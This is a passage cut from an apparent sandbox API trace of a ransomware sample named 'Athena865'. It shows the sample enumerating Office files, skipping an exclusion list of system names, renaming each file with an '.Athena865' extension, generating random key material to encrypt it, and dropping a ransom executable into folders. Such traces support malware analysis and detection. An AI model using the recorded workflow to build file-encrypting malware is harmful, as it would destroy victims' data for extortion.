(in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.885] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.885] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.886] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a70, lpName=0x0) returned 0x154 [0083.887] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a70) returned 0x100000 [0083.891] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.891] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.891] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.892] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0083.893] CloseHandle (hObject=0x154) returned 1 [0083.893] CloseHandle (hObject=0x17c) returned 1 [0083.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x6d012810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPTIRMV.XML", cAlternateFileName="")) returned 1 [0083.893] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2=".") returned 1 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="..") returned 1 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="windows") returned -1 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="bootmgr") returned 1 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="temp") returned -1 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="pagefile.sys") returned 1 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="boot") returned 1 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="ids.txt") returned 1 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="ntuser.dat") returned 1 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="perflogs") returned 1 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="MSBuild") returned 1 [0083.894] lstrlenW (lpString="PPTIRMV.XML") returned 11 [0083.894] lstrcpyW (in: lpString1=0x241e89e, lpString2="PPTIRMV.XML" | out: lpString1="PPTIRMV.XML") returned="PPTIRMV.XML" [0083.894] lstrlenW (lpString="PPTIRMV.XML") returned 11 [0083.894] lstrlenW (lpString="Athena865") returned 9 [0083.894] lstrcmpiW (lpString1="TIRMV.XML", lpString2="Athena865") returned 1 [0083.894] lstrlenW (lpString=".dll") returned 4 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2=".dll") returned 1 [0083.894] lstrlenW (lpString=".lnk") returned 4 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2=".lnk") returned 1 [0083.894] lstrlenW (lpString=".ini") returned 4 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2=".ini") returned 1 [0083.894] lstrlenW (lpString=".sys") returned 4 [0083.894] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2=".sys") returned 1 [0083.894] lstrlenW (lpString="PPTIRMV.XML") returned 11 [0083.894] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML.Athena865") returned 64 [0083.894] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml.athena865"), dwFlags=0x1) returned 1 [0083.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0083.896] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79284) returned 1 [0083.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.896] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.897] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.897] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.897] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x138c0, lpName=0x0) returned 0x154 [0083.898] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x138c0) returned 0x100000 [0083.901] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.902] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.902] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.903] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0083.904] CloseHandle (hObject=0x154) returned 1 [0083.904] CloseHandle (hObject=0x17c) returned 1 [0083.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.904] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd65451e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14988, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROJIMPT.EXE", cAlternateFileName="")) returned 1 [0083.904] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.904] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.904] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2=".") returned 1 [0083.904] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="..") returned 1 [0083.904] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="windows") returned -1 [0083.904] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="bootmgr") returned 1 [0083.905] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="temp") returned -1 [0083.905] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="pagefile.sys") returned 1 [0083.905] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="boot") returned 1 [0083.905] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="ids.txt") returned 1 [0083.905] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="ntuser.dat") returned 1 [0083.905] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="perflogs") returned 1 [0083.905] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="MSBuild") returned 1 [0083.905] lstrlenW (lpString="PROJIMPT.EXE") returned 12 [0083.905] lstrcpyW (in: lpString1=0x241e89e, lpString2="PROJIMPT.EXE" | out: lpString1="PROJIMPT.EXE") returned="PROJIMPT.EXE" [0083.905] lstrlenW (lpString="PROJIMPT.EXE") returned 12 [0083.905] lstrlenW (lpString="Athena865") returned 9 [0083.905] lstrcmpiW (lpString1="JIMPT.EXE", lpString2="Athena865") returned 1 [0083.905] lstrlenW (lpString=".dll") returned 4 [0083.905] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2=".dll") returned 1 [0083.905] lstrlenW (lpString=".lnk") returned 4 [0083.905] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2=".lnk") returned 1 [0083.905] lstrlenW (lpString=".ini") returned 4 [0083.905] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2=".ini") returned 1 [0083.905] lstrlenW (lpString=".sys") returned 4 [0083.905] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2=".sys") returned 1 [0083.905] lstrlenW (lpString="PROJIMPT.EXE") returned 12 [0083.905] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PROJIMPT.EXE.Athena865") returned 65 [0083.905] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROJIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\projimpt.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROJIMPT.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\projimpt.exe.athena865"), dwFlags=0x1) returned 1 [0083.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROJIMPT.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\projimpt.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0083.906] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=84360) returned 1 [0083.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.907] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.907] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.907] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.908] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14c90, lpName=0x0) returned 0x154 [0083.909] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14c90) returned 0x100000 [0083.912] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.913] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.913] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.914] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0083.915] CloseHandle (hObject=0x154) returned 1 [0083.915] CloseHandle (hObject=0x17c) returned 1 [0083.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.915] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd65451e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x29d60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROJMODL.DLL", cAlternateFileName="")) returned 1 [0083.915] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.915] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.915] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2=".") returned 1 [0083.915] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2="..") returned 1 [0083.915] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2="windows") returned -1 [0083.915] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2="bootmgr") returned 1 [0083.915] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2="temp") returned -1 [0083.916] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2="pagefile.sys") returned 1 [0083.916] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2="boot") returned 1 [0083.916] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2="ids.txt") returned 1 [0083.916] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2="ntuser.dat") returned 1 [0083.916] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2="perflogs") returned 1 [0083.916] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2="MSBuild") returned 1 [0083.916] lstrlenW (lpString="PROJMODL.DLL") returned 12 [0083.916] lstrcpyW (in: lpString1=0x241e89e, lpString2="PROJMODL.DLL" | out: lpString1="PROJMODL.DLL") returned="PROJMODL.DLL" [0083.916] lstrlenW (lpString="PROJMODL.DLL") returned 12 [0083.916] lstrlenW (lpString="Athena865") returned 9 [0083.916] lstrcmpiW (lpString1="JMODL.DLL", lpString2="Athena865") returned 1 [0083.916] lstrlenW (lpString=".dll") returned 4 [0083.916] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2=".dll") returned 1 [0083.916] lstrlenW (lpString=".lnk") returned 4 [0083.916] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2=".lnk") returned 1 [0083.916] lstrlenW (lpString=".ini") returned 4 [0083.916] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2=".ini") returned 1 [0083.916] lstrlenW (lpString=".sys") returned 4 [0083.916] lstrcmpiW (lpString1="PROJMODL.DLL", lpString2=".sys") returned 1 [0083.916] lstrlenW (lpString="PROJMODL.DLL") returned 12 [0083.916] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PROJMODL.DLL.Athena865") returned 65 [0083.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROJMODL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\projmodl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROJMODL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\projmodl.dll.athena865"), dwFlags=0x1) returned 1 [0083.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROJMODL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\projmodl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0083.918] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=171360) returned 1 [0083.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.918] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.919] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.919] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.919] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a060, lpName=0x0) returned 0x154 [0083.921] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a060) returned 0x170000 [0083.929] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.930] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.930] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.930] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0083.932] CloseHandle (hObject=0x154) returned 1 [0083.932] CloseHandle (hObject=0x17c) returned 1 [0083.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.933] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0083.933] lstrcmpiW (lpString1="PROOF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.933] lstrcmpiW (lpString1="PROOF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.933] lstrcmpiW (lpString1="PROOF", lpString2=".") returned 1 [0083.933] lstrcmpiW (lpString1="PROOF", lpString2="..") returned 1 [0083.933] lstrcmpiW (lpString1="PROOF", lpString2="windows") returned -1 [0083.933] lstrcmpiW (lpString1="PROOF", lpString2="bootmgr") returned 1 [0083.933] lstrcmpiW (lpString1="PROOF", lpString2="temp") returned -1 [0083.933] lstrcmpiW (lpString1="PROOF", lpString2="pagefile.sys") returned 1 [0083.933] lstrcmpiW (lpString1="PROOF", lpString2="boot") returned 1 [0083.933] lstrcmpiW (lpString1="PROOF", lpString2="ids.txt") returned 1 [0083.933] lstrcmpiW (lpString1="PROOF", lpString2="ntuser.dat") returned 1 [0083.933] lstrcmpiW (lpString1="PROOF", lpString2="perflogs") returned 1 [0083.933] lstrcmpiW (lpString1="PROOF", lpString2="MSBuild") returned 1 [0083.933] lstrlenW (lpString="PROOF") returned 5 [0083.933] lstrcpyW (in: lpString1=0x241e89e, lpString2="PROOF" | out: lpString1="PROOF") returned="PROOF" [0083.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b738 [0083.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x53a1f0 [0083.934] lstrcatW (in: lpString1="PROOF", lpString2="\\" | out: lpString1="PROOF\\") returned="PROOF\\" [0083.934] lstrcatW (in: lpString1="PROOF\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PROOF\\HOW TO BACK YOUR FILES.exe") returned="PROOF\\HOW TO BACK YOUR FILES.exe" [0083.934] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\how to back your files.exe"), bFailIfExists=1) returned 1 [0083.958] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1 [0083.958] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.958] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.958] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2=".") returned 1 [0083.958] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="..") returned 1 [0083.958] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="windows") returned -1 [0083.958] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="bootmgr") returned 1 [0083.959] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="temp") returned -1 [0083.959] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="pagefile.sys") returned 1 [0083.959] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="boot") returned 1 [0083.959] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="ids.txt") returned 1 [0083.959] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="ntuser.dat") returned 1 [0083.959] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="perflogs") returned 1 [0083.959] lstrcmpiW 